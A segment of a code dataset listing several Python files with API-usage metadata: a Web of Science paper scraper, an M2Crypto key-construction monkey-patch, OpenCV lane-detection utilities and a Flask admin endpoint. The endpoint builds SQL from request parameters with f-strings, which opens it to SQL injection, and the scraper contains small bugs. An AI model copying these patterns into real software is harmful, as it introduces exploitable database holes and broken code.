"line_number": 72, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 73, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 106, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 106, "usage_type": "argument"}, {"api_name": "cv2.cvtColor", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 114, "usage_type": "attribute"}]} {"seq_id": "379301157", "text": "from re import L\r\nimport requests\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium import webdriver\r\nfrom lxml import etree\r\nimport os\r\nfrom time import sleep\r\nimport xlrd\r\nimport win32api\r\nimport win32con\r\nimport xlsxwriter as xw\r\nfrom openpyxl import load_workbook\r\n# #实现无可视化界面\r\n# from selenium.webdriver.chrome.options import Options\r\n# #实现规避检测\r\n# from selenium.webdriver import ChromeOptions\r\n# #实现无可视化界面的操作\r\n# chrome_options = Options()\r\n# chrome_options.add_argument('--headless')\r\n# chrome_options.add_argument('--disable-gpu')\r\n# #实现规避检测\r\n# option = ChromeOptions()\r\n# option.add_experimental_option('excludeSwitches', ['enable-automation'])\r\n# #如何实现让selenium规避被检测到的风险\r\n# brs = webdriver.Chrome(executable_path='./selenium/chromedriver',chrome_options=chrome_options,options=option)\r\ndef Load_ExcelDone(list,n=0):\r\n data=xlrd.open_workbook('./paper/paper.xlsx')\r\n table=data.sheets()[0]\r\n nrows=table.nrows\r\n for i in range(nrows):\r\n try:list.append(int(float(table.row_values(i)[n])))\r\n except:\r\n continue\r\n print(list)\r\n\r\ndef add_information_excel(filename,paper,list_done):\r\n workbook=load_workbook(filename+'.xlsx')\r\n wb=workbook.active\r\n for p in paper:\r\n column_n='A'+str(p.n)\r\n column_name='B'+str(p.n)\r\n column_wos='C'+str(p.n)\r\n column_url='D'+str(p.n)\r\n wb[column_n]=p.n\r\n wb[column_name]=p.name\r\n wb[column_wos]=p.wos\r\n wb[column_url]=p.url\r\n workbook.save(filename+'.xlsx')\r\n\r\ndef savepage_pywin32():\r\n win32api.keybd_event(17, 0, 0, 0) # 按下ctrl\r\n win32api.keybd_event(83, 0, 0, 0) # 按下s\r\n win32api.keybd_event(83, 0, win32con.KEYEVENTF_KEYUP, 0) # 释放s\r\n win32api.keybd_event(17, 0, win32con.KEYEVENTF_KEYUP, 0) # 释放ctrl\r\n sleep(1)\r\n win32api.keybd_event(13, 0, 0, 0) # 按下enter\r\n win32api.keybd_event(13, 0, win32con.KEYEVENTF_KEYUP, 0) # 释放enter\r\n\r\ndef search(kw):\r\n #seach in sci\r\n search_input=brs.find_element_by_xpath('//input[@data-ta=\"search-criteria-input\"]') \r\n try: \r\n wind=brs.find_element_by_id('pendo-close-guide-8fdced48')\r\n wind.click() #find serch box\r\n search_input.click()\r\n search_input.clear()\r\n search_input.send_keys(kw) \r\n search_input.send_keys(Keys.ENTER) #input keywords\r\n butn=brs.find_element_by_xpath('//span[@class=\"mat-button-wrapper\"]') #find search button\r\n butn.click() \r\n except:\r\n search_input.click()\r\n search_input.clear()\r\n search_input.send_keys(kw) \r\n search_input.send_keys(Keys.ENTER) #input keywords\r\n butn=brs.find_element_by_xpath('//span[@class=\"mat-button-wrapper\"]') #find search button\r\n butn.click() #click serch button and serch \r\n\r\ndef getsource(url,broser):\r\n broser.get(url)\r\n page_text=broser.page_source\r\n print('page_souce load successful')\r\n return page_text\r\n\r\ndef SaveHtml(HTML,Filename):\r\n if not os.path.exists('./paper/HTML'):\r\n os.makedirs('./paper/HTML')\r\n Filename=Filename+'.html'\r\n with open('./paper/HTML/'+Filename,'wb',encoding='utf-8') as fp:\r\n fp.write(HTML)\r\n return 'save successful'\r\n\r\ndef closewind(s):\r\n brs.find_element_by_id(s).click\r\n\r\ndef getpaper_wos_url(source):\r\n tree=etree.HTML(source)\r\n download=tree.xpath('//app-records-list//a[@data-ta=\"summary-record-title-link\"]/@href')[0]\r\n Download='https://www.webofscience.com'+download\r\n return Download\r\n\r\ndef load_BasicExcel(lists,number,n=7):\r\n data=xlrd.open_workbook('./paper/gao.xlsx')\r\n table=data.sheets()[0]\r\n nrows=table.nrows\r\n if nrows>number:\r\n nrows=number\r\n for i in range(nrows):\r\n if i<=1:\r\n continue\r\n elif table.row_values(i)[n]==table.row_values(i-1)[n]:\r\n continue\r\n else :\r\n s=paper(i,table.row_values(i)[n],0,0)\r\n lists.append(s)\r\n\r\ndef getHTML(url,headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36'}):\r\n c=requests.get(url=url,headers=headers).content\r\n return c\r\n\r\ndef getfulltext_url(page):\r\n tree=etree.HTML(page)\r\n c=tree.xpath('//app-full-record-links//a/@href')[0]\r\n return c\r\n\r\n\r\n\r\nclass paper:\r\n def __init__(self,n,name,wos,url):\r\n self.n=n\r\n self.name=name\r\n self.wos=wos\r\n self.url=url\r\n\r\nbrs = webdriver.Chrome(executable_path='./selenium/chromedriver')\r\nurl='https://www.webofscience.com/wos/woscc/basic-search'\r\n#create list\r\nPaper_list=[] #save paper (url,name,i,)\r\nPaper_list_result=[]\r\n# url_fulltest_list=[] #save url\r\nPaper_list_failed=[] #save paper_url_failed\r\nPaper_list_success_n=[]\r\nLoad_ExcelDone(Paper_list_success_n)\r\nPaper_list_done=Paper_list_success_n\r\nload_BasicExcel(Paper_list,50) # load data\r\n\r\n#Seach and find paper_url\r\nfor kw in Paper_list:\r\n if kw.n not in Paper_list_success_n:\r\n try: \r\n brs.get(url)\r\n sleep(6)\r\n search(kw.name)\r\n sleep(2)\r\n wos=getpaper_wos_url(brs.page_source)\r\n sleep(3)\r\n brs.get(wos)\r\n sleep(2)\r\n url_fulltest=getfulltext_url(brs.page_source)\r\n # #save page by ctrl+s - enter \r\n # brs.get(url_fulltest)\r\n # sleep(6)\r\n # savepage_pywin32()\r\n # sleep(20)\r\n #save in list\r\n kw.wos=wos\r\n kw.url=url_fulltest\r\n Paper_list_result.append(kw)\r\n # url_fulltest_list.append(kw.url)\r\n\r\n #save name of success\r\n # Paper_list_success.append(kw.name)\r\n Paper_list_success_n.append(kw.n)\r\n print(kw.n,'load susccessful')\r\n except:\r\n #save name of failed\r\n print(kw.n,'load failed')\r\n Paper_list_failed.append(kw)\r\n\r\nbrs.quit()\r\n\r\nadd_information_excel('./paper/paper',Paper_list_result,Paper_list_done)\r\nadd_information_excel('./paper/paper_failed',Paper_list_failed,[])\r\n", "sub_path": "web_crawler_learning/paper/serch.py", "file_name": "serch.py", "file_ext": "py", "file_size_in_byte": 6397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "xlrd.open_workbook", "line_number": 27, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 37, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 51, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 52, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 53, "usage_type": "call"}, {"api_name": "win32con.KEYEVENTF_KEYUP", "line_number": 53, "usage_type": "attribute"}, {"api_name": "win32api.keybd_event", "line_number": 54, "usage_type": "call"}, {"api_name": "win32con.KEYEVENTF_KEYUP", "line_number": 54, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 56, "usage_type": "call"}, {"api_name": "win32api.keybd_event", "line_number": 57, "usage_type": "call"}, {"api_name": "win32con.KEYEVENTF_KEYUP", "line_number": 57, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 68, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 68, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 75, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 75, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 87, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 97, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 97, "usage_type": "name"}, {"api_name": "xlrd.open_workbook", "line_number": 103, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 118, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 122, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 122, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 135, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 135, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 152, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 154, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 156, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 158, "usage_type": "call"}]} {"seq_id": "520380999", "text": "#\n# This monkey-patches M2Crypto's RSA and DSA support to allow us\n# to create keys directly from a given set of parameters.\n# It's based on the following patch from the M2Crypt bugtracker:\n#\n# https://bugzilla.osafoundation.org/show_bug.cgi?id=12981\n#\n# We use ctypes to avoid recompiling the M2Crypto binaries.\n\nimport ctypes\nfrom M2Crypto import RSA, DSA, m2, __m2crypto\n\n_m2lib = ctypes.CDLL(__m2crypto.__file__)\n\n\n_m2lib.BN_free.argtypes = (ctypes.c_void_p,)\n_m2lib.BN_mpi2bn.argtypes = (ctypes.c_char_p, ctypes.c_int, ctypes.c_void_p,)\n_m2lib.BN_mpi2bn.restype = ctypes.c_void_p\n\n\nclass _RSA(ctypes.Structure):\n \"\"\"OpenSSL struct representing a RSA key (struct rsa_st).\"\"\"\n _fields_ = [(\"pad\", ctypes.c_int),\n (\"version\", ctypes.c_long),\n (\"RSA_METHOD\", ctypes.c_void_p),\n (\"ENGINE\", ctypes.c_void_p),\n (\"n\", ctypes.c_void_p),\n (\"e\", ctypes.c_void_p),\n (\"d\", ctypes.c_void_p)]\n # There are many more fields, but we don't need them.\n\n\nclass _DSA(ctypes.Structure):\n \"\"\"OpenSSL struct representing a DSA key (struct dsa_st).\"\"\"\n _fields_ = [(\"pad\", ctypes.c_int),\n (\"version\", ctypes.c_long),\n (\"write_params\", ctypes.c_int),\n (\"p\", ctypes.c_void_p),\n (\"q\", ctypes.c_void_p),\n (\"g\", ctypes.c_void_p),\n (\"pub_key\", ctypes.c_void_p),\n (\"priv_key\", ctypes.c_void_p)]\n # There are many more fields, but we don't need them.\n\n\ndef maybe_provide(obj):\n \"\"\"Decorator to provide default implemenation of a function.\"\"\"\n def decorator(func):\n if not hasattr(obj, func.__name__):\n setattr(obj, func.__name__, func)\n return func\n return decorator\n\n\n@maybe_provide(m2)\ndef rsa_set_d(rsa, value):\n \"\"\"Set the private-key component \"d\" of a RSA object.\"\"\"\n bn = _m2lib.BN_mpi2bn(value, len(value), None)\n if not bn:\n raise RSA.RSAError(\"invalid private key data\")\n rsa_p = ctypes.cast(ctypes.c_void_p(int(rsa)), ctypes.POINTER(_RSA))\n if rsa_p.contents.d:\n _m2lib.BN_free(rsa_p.contents.d)\n rsa_p.contents.d = bn\n\n\n@maybe_provide(m2)\ndef dsa_set_pub(dsa, value):\n \"\"\"Set the public-key component of a DSA object.\"\"\"\n bn = _m2lib.BN_mpi2bn(value, len(value), None)\n if not bn:\n raise DSA.DSAError(\"invalid public key data\")\n dsa_p = ctypes.cast(ctypes.c_void_p(int(dsa)), ctypes.POINTER(_DSA))\n if dsa_p.contents.pub_key:\n _m2lib.BN_free(dsa_p.contents.pub_key)\n dsa_p.contents.pub_key = bn\n\n\n@maybe_provide(m2)\ndef dsa_set_priv(dsa, value):\n \"\"\"Set the private-key component of a DSA object.\"\"\"\n bn = _m2lib.BN_mpi2bn(value, len(value), None)\n if not bn:\n raise DSA.DSAError(\"invalid private key data\")\n dsa_p = ctypes.cast(ctypes.c_void_p(int(dsa)), ctypes.POINTER(_DSA))\n if dsa_p.contents.priv_key:\n _m2lib.BN_free(dsa_p.contents.priv_key)\n dsa_p.contents.priv_key = bn\n\n\n@maybe_provide(RSA)\ndef new_key(parameters):\n \"\"\"Create a RSA object from the given parameters.\"\"\"\n e, n, d = parameters\n rsa = m2.rsa_new()\n m2.rsa_set_e(rsa, e)\n m2.rsa_set_n(rsa, n)\n m2.rsa_set_d(rsa, d)\n return RSA.RSA(rsa, 1)\n\n\n# Calling sign() on a public key will segfault M2Crypto.\n# Stub it out so that it raises an error instead.\nif \"sign\" not in RSA.RSA_pub.__dict__:\n RSA.RSA_pub.sign = RSA.RSA_pub.private_encrypt\n\n\n@maybe_provide(DSA)\ndef load_pub_key_params(p, q, g, pub):\n \"\"\"Create a DSA_pub object from parameters and key.\"\"\"\n dsa = m2.dsa_new()\n m2.dsa_set_p(dsa, p)\n m2.dsa_set_q(dsa, q)\n m2.dsa_set_g(dsa, g)\n m2.dsa_set_pub(dsa, pub)\n return DSA.DSA_pub(dsa, 1)\n\n\n@maybe_provide(DSA)\ndef load_key_params(p, q, g, pub, priv):\n \"\"\"Create a DSA object from parameters and key.\"\"\"\n dsa = m2.dsa_new()\n m2.dsa_set_p(dsa, p)\n m2.dsa_set_q(dsa, q)\n m2.dsa_set_g(dsa, g)\n m2.dsa_set_pub(dsa, pub)\n m2.dsa_set_priv(dsa, priv)\n return DSA.DSA(dsa, 1)\n", "sub_path": "browserid/crypto/_m2_monkeypatch.py", "file_name": "_m2_monkeypatch.py", "file_ext": "py", "file_size_in_byte": 4072, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ctypes.CDLL", "line_number": 13, "usage_type": "call"}, {"api_name": "M2Crypto.__m2crypto.__file__", "line_number": 13, "usage_type": "attribute"}, {"api_name": "M2Crypto.__m2crypto", "line_number": 13, "usage_type": "name"}, {"api_name": "ctypes.c_void_p", "line_number": 16, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 17, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 17, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 17, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 18, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 21, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 23, "usage_type": "attribute"}, {"api_name": "ctypes.c_long", "line_number": 24, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 25, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 26, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 28, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 29, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 33, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 35, "usage_type": "attribute"}, {"api_name": "ctypes.c_long", "line_number": 36, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 37, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 38, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 39, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 40, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 41, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 42, "usage_type": "attribute"}, {"api_name": "M2Crypto.RSA.RSAError", "line_number": 60, "usage_type": "call"}, {"api_name": "M2Crypto.RSA", "line_number": 60, "usage_type": "name"}, {"api_name": "ctypes.cast", "line_number": 61, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 61, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 61, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 55, "usage_type": "argument"}, {"api_name": "M2Crypto.DSA.DSAError", "line_number": 72, "usage_type": "call"}, {"api_name": "M2Crypto.DSA", "line_number": 72, "usage_type": "name"}, {"api_name": "ctypes.cast", "line_number": 73, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 73, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 73, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 67, "usage_type": "argument"}, {"api_name": "M2Crypto.DSA.DSAError", "line_number": 84, "usage_type": "call"}, {"api_name": "M2Crypto.DSA", "line_number": 84, "usage_type": "name"}, {"api_name": "ctypes.cast", "line_number": 85, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 85, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 85, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 79, "usage_type": "argument"}, {"api_name": "M2Crypto.m2.rsa_new", "line_number": 95, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 95, "usage_type": "name"}, {"api_name": "M2Crypto.m2.rsa_set_e", "line_number": 96, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 96, "usage_type": "name"}, {"api_name": "M2Crypto.m2.rsa_set_n", "line_number": 97, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 97, "usage_type": "name"}, {"api_name": "M2Crypto.m2.rsa_set_d", "line_number": 98, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 98, "usage_type": "name"}, {"api_name": "M2Crypto.RSA.RSA", "line_number": 99, "usage_type": "call"}, {"api_name": "M2Crypto.RSA", "line_number": 99, "usage_type": "name"}, {"api_name": "M2Crypto.RSA", "line_number": 91, "usage_type": "argument"}, {"api_name": "M2Crypto.RSA.RSA_pub", "line_number": 104, "usage_type": "attribute"}, {"api_name": "M2Crypto.RSA", "line_number": 104, "usage_type": "name"}, {"api_name": "M2Crypto.RSA.RSA_pub", "line_number": 105, "usage_type": "attribute"}, {"api_name": "M2Crypto.RSA", "line_number": 105, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_new", "line_number": 111, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 111, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_p", "line_number": 112, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 112, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_q", "line_number": 113, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 113, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_g", "line_number": 114, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 114, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_pub", "line_number": 115, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 115, "usage_type": "name"}, {"api_name": "M2Crypto.DSA.DSA_pub", "line_number": 116, "usage_type": "call"}, {"api_name": "M2Crypto.DSA", "line_number": 116, "usage_type": "name"}, {"api_name": "M2Crypto.DSA", "line_number": 108, "usage_type": "argument"}, {"api_name": "M2Crypto.m2.dsa_new", "line_number": 122, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 122, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_p", "line_number": 123, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 123, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_q", "line_number": 124, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 124, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_g", "line_number": 125, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 125, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_pub", "line_number": 126, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 126, "usage_type": "name"}, {"api_name": "M2Crypto.m2.dsa_set_priv", "line_number": 127, "usage_type": "call"}, {"api_name": "M2Crypto.m2", "line_number": 127, "usage_type": "name"}, {"api_name": "M2Crypto.DSA.DSA", "line_number": 128, "usage_type": "call"}, {"api_name": "M2Crypto.DSA", "line_number": 128, "usage_type": "name"}, {"api_name": "M2Crypto.DSA", "line_number": 119, "usage_type": "argument"}]} {"seq_id": "564272001", "text": "import cv2\nimport numpy as np\n\n\ndef morph_close(img, num_iter=1):\n strel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))\n\n for _ in range(num_iter):\n img = cv2.dilate(img, strel, iterations=1)\n img = cv2.erode(img, strel, iterations=1)\n\n return img\n\n\ndef morph_open(img, num_iter=1):\n strel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))\n\n for _ in range(num_iter):\n img = cv2.erode(img, strel, iterations=1)\n img = cv2.dilate(img, strel, iterations=1)\n\n return img\n\n\ndef get_guidance_points_and_weights(w, h, num, bottom_to_top=False):\n m = w // 2\n p = 0.35\n spacing = (0.9 - p) * h / (num - 1)\n\n # top -> bottom\n # TODO: may use f(x) = a*exp(-(x-b)^2 / (2c^2)) or a 3rd / 4th order polynomial\n weights = np.array([0.2, 0.25, 0.3, 0.4, 0.3, 0.25, 0.2, 0.2, 0.1, 0.1])\n assert num == len(weights)\n\n points = np.concatenate(\n (\n np.array([[m, int(p * h + i * spacing)] for i in range(num - 1)]),\n [[m, int(0.9 * h)]],\n )\n ).astype(np.int32)\n\n if bottom_to_top:\n weights = weights[::-1]\n points = points[::-1]\n\n return spacing, points, weights\n\n\ndef get_left_right_markers(row):\n left = (row == 255).argmax()\n right = len(row) - (row[::-1] == 255).argmax()\n\n return left, right\n\n\ndef get_point_on_lane(row, point):\n px, py = point\n left, right = row[:px], row[px:]\n\n ll, lr = get_left_right_markers(left)\n if ll < lr:\n return int(0.5 * (ll + lr))\n\n rl, rr = get_left_right_markers(right)\n if rl < rr:\n return int(0.5 * (rl + rr))\n\n return 0, 0\n\n\ndef compute_speed_delta(diffs, weights, div_factor=8, last_diffs=None):\n x = np.sum(diffs * weights)\n\n s = np.round(x / div_factor)\n # s = 1.6 * x / (1 + abs(x))\n\n return s\n\n\ndef get_region_of_interest(img, sx=0.23, sy=0.15, delta=200, return_vertices=False):\n \"\"\"\n :param img: image to extract ROI from\n :param sx: X-axis factor for ROI bottom base\n :param sy: Y-axis factor for ROI top base\n :param delta: ROI top base length\n :param return_vertices: whether to return the ROI vertices\n :return: ROI (optional: vertices)\n \"\"\"\n assert len(img.shape) == 2\n\n h, w = img.shape\n\n mask = np.zeros(img.shape)\n fill_color = 255\n\n vertices = np.array(\n [\n [0.5 * (w - delta), sy * h],\n [0.5 * (w + delta), sy * h],\n [(1 - sx) * w, h - 1],\n [sx * w, h - 1],\n ]\n )\n\n cv2.fillPoly(mask, np.array([vertices], dtype=np.int32), fill_color)\n\n roi = mask.astype(np.uint8) & img.astype(np.uint8)\n\n if return_vertices:\n return roi, vertices\n else:\n return roi\n\n\ndef draw_roi(img, roi_vertices) -> None:\n n = len(roi_vertices)\n\n for i in range(n):\n p1 = tuple(roi_vertices[i % n])\n p2 = tuple(roi_vertices[(i + 1) % n])\n cv2.line(img, p1, p2, color=(0, 255, 0), thickness=1)\n\n\ndef softmax(x):\n return np.exp(x) / np.sum(np.exp(x))\n", "sub_path": "vector/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3007, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.getStructuringElement", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 107, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 125, "usage_type": "call"}]} {"seq_id": "650436321", "text": "from flask_restful import Resource, reqparse\r\nfrom db import query, connectToHost\r\nimport base64\r\nimport pymysql\r\nfrom flask_jwt_extended import jwt_required\r\n\r\ndef convertToBlob(value):\r\n return base64.b64decode(value.encode('utf-8'))\r\n\r\n\"\"\"\r\nUsing the resource in this module, admin can insert an image with select_status = 1.\r\nThe admin has to send just the request_no and the image.\r\nAll the other papers corresponding to the request_no get deleted \r\nwhether they have a select_status of 1 or not.\r\nThe entries in the requests table are deleted for a request_no, admin uploaded image is insered into requests.\r\nThen active_exams and submissions table entries are deleted which have the request_no sent.\r\n\"\"\"\r\n\r\nclass AdminQpRequest(Resource):\r\n \r\n @jwt_required\r\n def get(self):\r\n parser = reqparse.RequestParser()\r\n parser.add_argument('r_id', type=int, help=\"r_id cannot be left blank!\")\r\n data = parser.parse_args()\r\n #create query string\r\n qstr = f\"\"\" SELECT * FROM requests where r_id = { data['r_id'] };\"\"\"\r\n try:\r\n return query(qstr)\r\n except:\r\n return {\r\n \"message\" : \"There was an error connecting to the requests table while retrieving.\"\r\n }, 500\r\n\r\n @jwt_required\r\n def post(self):\r\n parser = reqparse.RequestParser()\r\n parser.add_argument('b_id', type=int, required=True, help=\"b_id cannot be left blank!\")\r\n parser.add_argument('sem_no', type=int, required=True, help=\"sem_no cannot be left blank!\")\r\n parser.add_argument('exam_type', type=str, required=True, help=\"exam_type cannot be left blank!\")\r\n parser.add_argument('subtype', type=str, required=True, help=\"request_no cannot be left blank!\")\r\n parser.add_argument('s_code', type=str, required=True, help=\"s_code cannot be left blank!\")\r\n parser.add_argument('year', type=int, required=True, help=\"year cannot be left blank!\")\r\n parser.add_argument('image', type=str, required=True, help=\"image cannot be left blank!\")\r\n \r\n #parser.add_argument('select_status', type=int, required=False, default = 0)\r\n \r\n data = parser.parse_args()\r\n\r\n # a transaction is made, so not using query function from db module\r\n # we use connectToHost function from db module and commit explicitly\r\n # the query function from db module commits for each query which is not desirable in \r\n # a transaction sequence as follows.\r\n # here we execute several queries then commit.\r\n try:\r\n connection = connectToHost()\r\n\r\n #start connection, create cursor and execute query from cursor\r\n connection.begin()\r\n cursor = connection.cursor()\r\n\r\n #obtain request_no from the details provided, store in req_no\r\n\r\n qstr = f\"\"\"\r\n select DISTINCT request_no\r\n from timetable t \r\n inner join details d on (t.d_id = d.d_id)\r\n WHERE b_id = '{data['b_id']}' AND \r\n sem_no = '{data['sem_no']}' AND \r\n exam_type = '{data['exam_type']}' AND \r\n subtype = '{data['subtype']}' AND \r\n year = '{data['year']}' AND\r\n s_code = '{data['s_code']}'\r\n LIMIT 1;\r\n \"\"\"\r\n\r\n cursor.execute(qstr)\r\n cursor.execute(qstr)\r\n result = cursor.fetchall()\r\n req_no = list(result[0].values())[0]\r\n \r\n # delete all the other entries in requests table \r\n # with the same request_no, whether selected or not\r\n qstr = f\"\"\"\r\n delete from requests\r\n where request_no = {req_no};\r\n \"\"\"\r\n \r\n cursor.execute(qstr)\r\n\r\n #creating a tuple of values to be inserted because a formatted string is used\r\n #here its useful to avoid SQL syntax errors while inserting BLOB value into table\r\n vals_tuple = (req_no, convertToBlob(data['image']), 1 ) #set select status to 1\r\n #convertToBlob is used to convert base64 string to BLOB data\r\n\r\n qstr = f\"\"\" INSERT INTO requests (request_no, image, select_status)\r\n values (%s, %s, %s); \"\"\"\r\n\r\n cursor.execute(qstr, vals_tuple)\r\n\r\n # delete the corresponding entry from active_exams if paper is uploaded.\r\n qstr = f\"\"\" DELETE FROM active_exams\r\n WHERE request_no = { req_no }; \"\"\"\r\n cursor.execute(qstr)\r\n\r\n # for deleting user info from submissions table\r\n qstr = f\"\"\" DELETE FROM User.submissions\r\n WHERE request_no = { req_no }; \r\n \"\"\"\r\n cursor.execute(qstr)\r\n\r\n\r\n connection.commit() #commit the changes made\r\n \r\n #close the cursor and connection\r\n cursor.close()\r\n connection.close()\r\n except IndexError:\r\n \"\"\"\r\n this is to handle tuple index error \r\n which is raised if no data could be retrieved and stored\r\n where data is retrieved in this way\r\n result = cursor.fetchall()\r\n req_no = list(result[0].values())[0] \r\n \"\"\"\r\n return {\r\n \"message\" : \"Required data not present.\"\r\n }, 400\r\n except (pymysql.err.InternalError, pymysql.err.ProgrammingError, pymysql.err.IntegrityError) as e:\r\n return {\r\n \"message\" : \"MySQL error: \" + str(e)\r\n }, 500\r\n except Exception as e:\r\n return {\r\n \"message\" : \"There was an error connecting to the requests table while inserting.\" + str(e)\r\n }, 500\r\n \r\n return {\r\n \"message\" : \"Succesfully inserted\"\r\n }, 200", "sub_path": 